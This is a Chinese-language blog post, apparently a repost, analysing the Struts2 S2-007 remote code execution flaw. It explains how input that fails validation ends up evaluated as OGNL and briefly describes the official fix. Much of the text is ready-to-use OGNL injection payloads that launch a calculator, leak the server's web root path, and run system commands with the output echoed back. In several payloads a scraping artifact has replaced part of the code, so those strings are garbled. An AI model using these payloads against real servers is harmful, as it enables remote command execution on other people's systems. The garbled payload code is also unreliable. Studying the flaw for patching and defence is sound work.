[JavaWeb]Struct2-007漏洞分析
阿新 • • 發佈:2022-01-17
Strut2-007
漏洞描述
Struts2-007是一個遠端程式碼執行漏洞。
影響版本
Struts 2.0.0 - Struts 2.2.3
漏洞分析
- 當碰到validator校驗失敗的會將資料重寫後放到OverrideStack
-
在處理時將字串兩邊同時添加了一個單引號
-
Struts2 結束標籤時,會將使用者輸入值經過 OGNL 執行並返回。如果先前 OgnlValueStack.overrides 儲存過相關欄位,則會先從 OgnlValueStack.overrides 中取出相關值,然後再通過 OGNL 執行
-
從ognl.overrides中找加了單引號的age,再經過ognl解析。
漏洞點,如果傳入的是'+{code}+',經過處理後就變為了''+{code}+'',再進行ognl解析,便可以被解析為程式碼,從而導致了任意程式碼執行
漏洞利用
# 彈計算器 '+(#context["xwork.MethodAccessor.denyMethodExecution"][email protected]@getRuntime().exec("deepin-calculator"))+' '+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"][email protected]@getRuntime().exec("deepin-calculator"))+' # 獲取絕對路徑 '+(#context["xwork.MethodAccessor.denyMethodExecution"]=false#[email protected]@getRequest()#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+' '+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false#[email protected]@getRequest()#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+' # 執行系統命令並回顯 '+(#context["xwork.MethodAccessor.denyMethodExecution"]=false#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+' '+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
漏洞修復
官方先將傳入的字串進行了轉義,再在外邊加一個雙引號,從而確保只能是一個普通的字串。